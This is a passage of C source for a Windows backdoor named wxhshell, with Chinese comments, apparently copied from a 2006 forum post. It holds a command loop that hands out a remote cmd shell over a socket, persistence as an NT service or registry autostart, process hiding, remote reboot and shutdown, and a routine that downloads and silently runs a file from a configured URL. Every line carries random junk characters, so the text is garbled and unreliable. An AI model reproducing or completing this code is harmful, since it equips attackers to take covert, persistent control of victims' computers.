  case '?': { >@4Ds"Ye"O  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `m AYK)N  
    break; >Gg[J=7`  
  } i-0AcN./p  
  // 安装 \K9Y@jnr  
  case 'i': { 9|>y[i  
    if(Install()) "[A&S!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,t1s#*j\!q  
    else /mE:2K]C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PK?}hz  
    break; {QK9pZB  
    } hhjsg?4uL  
  // 卸载 ]]V=\.y  
  case 'r': { ?\Y7]_]/  
    if(Uninstall()) (o6 u ^#6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F r2 +p  
    else ,,9vk\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }?{. 'Hv0  
    break; Pd  6  
    } K1<l/ s  
  // 显示 wxhshell 所在路径 :]C\DUBo  
  case 'p': { v Ma$JPauI  
    char svExeFile[MAX_PATH]; 8r\xQr'8h  
    strcpy(svExeFile,"\n\r"); )[sSCt]  
      strcat(svExeFile,ExeFile); i3Nt?FSN  
        send(wsh,svExeFile,strlen(svExeFile),0); Q%GLT,f1.  
    break; \BsvUGd  
    } d7c m?+  
  // 重启 NX+ eig</-  
  case 'b': { m} =<@b:l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H~*[v"  
    if(Boot(REBOOT)) 1 gRR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wVs|mG"  
    else { IZ4jFgpR  
    closesocket(wsh); 7xT<|3 I  
    ExitThread(0); 'Uo:b<  
    } b;|^62  
    break; 0$nJd_gW_  
    } 7@VR:~n}k  
  // 关机 =WP}RZ{S  
  case 'd': { }W%}_UT  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Md m(xUs  
    if(Boot(SHUTDOWN)) {la ^useg[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0MzHr2?'P  
    else { BQ&h&57K  
    closesocket(wsh); #$fFp  
    ExitThread(0); 4]8PF  
    } 55N/[{[  
    break; DFjkp;`1  
    } Z#W`0G>'  
  // 获取shell .g&BA15<F6  
  case 's': { 7y`~T+  
    CmdShell(wsh); -)<Nd:A  
    closesocket(wsh); ?,),%JQ  
    ExitThread(0); G6Fg<g9:  
    break; "ChBcxvxb:  
  } IX3U\_I#  
  // 退出 &k{@:z  
  case 'x': { #QDV_ziE5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y2D) $  
    CloseIt(wsh); Em.?  
    break; Ul@' z|  
    } K|1^?#n  
  // 离开 |$0/:*  
  case 'q': { E0h!%/+-L  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Rx<pV_|H,  
    closesocket(wsh); n<$I,IRE  
    WSACleanup(); !c`1~a!  
    exit(1); p]g/iLDZ  
    break; mLYB6   
        } Q\z*q,^R  
  } ?3, *  
  } / q!&I  
e O}mZN  
  // 提示信息 QBo^{],  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6u7HO-aa  
} y@z #Jw<  
  } O&0R ~<n  
V!=]a^]:  
  return; ?k?Hp:8?=  
} zc(7p;w#p  
ljCgIfZ_4  
// shell模块句柄 u@3w$"Pv1  
int CmdShell(SOCKET sock) A| +{x4s`  
{ $7*Ml)H!9  
STARTUPINFO si; M;bQid@BG  
ZeroMemory(&si,sizeof(si)); <Jk|Bmw;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }?^G= IP4(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5-QXvw(TH  
PROCESS_INFORMATION ProcessInfo; ),Rj@52l  
char cmdline[]="cmd"; sOW|TN>y\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3QVng^"B)  
  return 0; \3/9lE|gh  
} >j?uI6Uw  
I R&u55#I6  
// 自身启动模式 5%$#3LT|  
int StartFromService(void) rG]Xgq"   
{ ~eP 2PG  
typedef struct l]Sui_+ZU  
{ ^pP 14y*go  
  DWORD ExitStatus; J@fE" )  
  DWORD PebBaseAddress; fYi!Z/Ck2  
  DWORD AffinityMask; )wRD  
  DWORD BasePriority; H#y"3E<s  
  ULONG UniqueProcessId; gr=`_k4~1  
  ULONG InheritedFromUniqueProcessId; sFTIRVXN,  
}   PROCESS_BASIC_INFORMATION; GS H{1VS_b  
5  $J  
PROCNTQSIP NtQueryInformationProcess; *GhRU5  
%ab79RS]C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wGH@I_cy>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6>I.*Qt \l  
ZIp=JR8o$  
  HANDLE             hProcess; O#\> j  
  PROCESS_BASIC_INFORMATION pbi; 96avgyc  
(YOgQ)},  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d8#j@='a*  
  if(NULL == hInst ) return 0; ^d*>P|n*@e  
1c!},O  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Vvj]2V3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `N|CL  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M}Mzm2d#`  
hd;I x%tq>  
  if (!NtQueryInformationProcess) return 0; D,/9rH  
8.':pY'8"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (/U1J  
  if(!hProcess) return 0; 3D0I5LF&  
z sPuLn9G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Bl];^W^P  
E6k&r}  
  CloseHandle(hProcess); ay4xOwcR  
Uj)]nJX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <4,?lZ  
if(hProcess==NULL) return 0; *lAdS]I  
,m,vo_Ub  
HMODULE hMod; [B`P]}gL:  
char procName[255]; ~0|hobk  
unsigned long cbNeeded; F.D1;,x  
m 9@n  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); us%RQ8=k  
,IE0+!I  
  CloseHandle(hProcess); Ui!|!V-  
YPnJldVn  
if(strstr(procName,"services")) return 1; // 以服务启动 `F8;{`a  
c&-$?f r  
  return 0; // 注册表启动 ,r;d{  
} nn4Sy,cz  
Cl!jK^AbG  
// 主模块 A> A'dQ69  
int StartWxhshell(LPSTR lpCmdLine) {C6;$#7P  
{ ot#kU 8f  
  SOCKET wsl; :w%b w\}  
BOOL val=TRUE; /ASI 0h  
  int port=0; lG>e6[Wc  
  struct sockaddr_in door; m?$G(E5  
6 JYOe  
  if(wscfg.ws_autoins) Install(); %W;Gf9.w  
\|` Pul$  
port=atoi(lpCmdLine); T k&9Klo  
z|)1l`  
if(port<=0) port=wscfg.ws_port; q.Z#7~6`3  
l>Ja[`X@  
  WSADATA data; @|%ICG c  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; JBAK*g  
M|e n>P  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   W r7e_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y7EX&  
  door.sin_family = AF_INET; +\vY;!^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -Bv1}xf=6  
  door.sin_port = htons(port); {0WID D  
=2]rA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T ) f_W  
closesocket(wsl); P Xn>x8z  
return 1; iiB )/~!O  
} lY9M<8g  
K |} ]<  
  if(listen(wsl,2) == INVALID_SOCKET) { edk9Qd9  
closesocket(wsl); ?mfWm{QTt  
return 1; T xxB0  
} dQ`ZrWd_U  
  Wxhshell(wsl); Qwo9>ClC  
  WSACleanup(); }6,bq`MN  
#r^@*<{^  
return 0; JX$NEq(  
as |c`4r\O  
} B "F`OS[  
Yn]y d1  
// 以NT服务方式启动 ^'53]b:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vp75u93  
{ Sb9=$0%\  
DWORD   status = 0; )bXx9,VL  
  DWORD   specificError = 0xfffffff; dzE Q$u/I  
fQTA@WAr  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -WBz]GW4r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m#'rI=}!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +'Y( V&  
  serviceStatus.dwWin32ExitCode     = 0; O-!fOdX8_k  
  serviceStatus.dwServiceSpecificExitCode = 0; |od4kt  
  serviceStatus.dwCheckPoint       = 0; o- QG& ]  
  serviceStatus.dwWaitHint       = 0; 8xpYQ<cax  
Q'Kik5I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Re,$<9V  
  if (hServiceStatusHandle==0) return; dMs39j  
]1|Ql*6y,  
status = GetLastError(); h[ZN >T  
  if (status!=NO_ERROR) cYWy\+  
{ BXK::M+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vXM/nw|5  
    serviceStatus.dwCheckPoint       = 0; ^Im%D(MY  
    serviceStatus.dwWaitHint       = 0; @FdCbPl$  
    serviceStatus.dwWin32ExitCode     = status; o=RqegL  
    serviceStatus.dwServiceSpecificExitCode = specificError; ZOrTbik  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gz[ym j)5  
    return; IL>/PuZku  
  } HLoQ}oK|K  
Y9@dZw%2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6`4W,  
  serviceStatus.dwCheckPoint       = 0; ,7fc41O3V  
  serviceStatus.dwWaitHint       = 0; F@K*T2uh  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); BvZ^^IUb  
} 'Elj"Iiu  
*e-ptgO  
// 处理NT服务事件,比如:启动、停止 R<lNk<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) D _bkUR1  
{ 3b?OW7H  
switch(fdwControl) lR@i`)'?U  
{ }$0xt'q&  
case SERVICE_CONTROL_STOP: 3?*M{Y|  
  serviceStatus.dwWin32ExitCode = 0; inPdV9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; CEX}`I*-  
  serviceStatus.dwCheckPoint   = 0; Rgfc29(8  
  serviceStatus.dwWaitHint     = 0; H7yg9zFT N  
  { 2 %{YYT   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2i7i\?<.  
  } m,@1LwBH  
  return; gP %|:"  
case SERVICE_CONTROL_PAUSE: M)`HK .  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =~\]3g  
  break; W3jXZ>  
case SERVICE_CONTROL_CONTINUE: \=w'HZH#+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dDqr B-G  
  break; h"PS-]:CD  
case SERVICE_CONTROL_INTERROGATE: )@<HCRQ'q  
  break; WG8iTVwx  
}; q4 Oxs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .B 85!lCF  
} $c@w$2  
ol$2sI=.s  
// 标准应用程序主函数 o9m  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) UK"}}nO@e  
{ H:q)^$s  
G%7 4v|cd  
// 获取操作系统版本 X!7VyE+n  
OsIsNt=GetOsVer(); /B,:<&_-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4-7kS85  
uq!;  
  // 从命令行安装 I #M%%5e  
  if(strpbrk(lpCmdLine,"iI")) Install(); I!$jYY2  
* MSBjH|  
  // 下载执行文件 jFuC=6aF  
if(wscfg.ws_downexe) { Qy=HrL]x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F-BJe]  
  WinExec(wscfg.ws_filenam,SW_HIDE); NI5]Nz<?  
} )%iRZ\`f  
uFwU-LCe  
if(!OsIsNt) { c Ndw9?Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 x],8yR)R  
HideProc(); 2qZa9^}  
StartWxhshell(lpCmdLine); 10C 2=  
} $?FS00p*|X  
else w=f0*$ue+w  
  if(StartFromService()) ds*m6#1b  
  // 以服务方式启动 Sao>P[#x  
  StartServiceCtrlDispatcher(DispatchTable); _4P;+Y  
else s<A*[  
  // 普通方式启动 8{R_6BS  
  StartWxhshell(lpCmdLine); yWj9EHQU[  
J0^{,eY<  
return 0; UI!6aVL.  
}
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只看该作者 1 发表于: 2006-10-10
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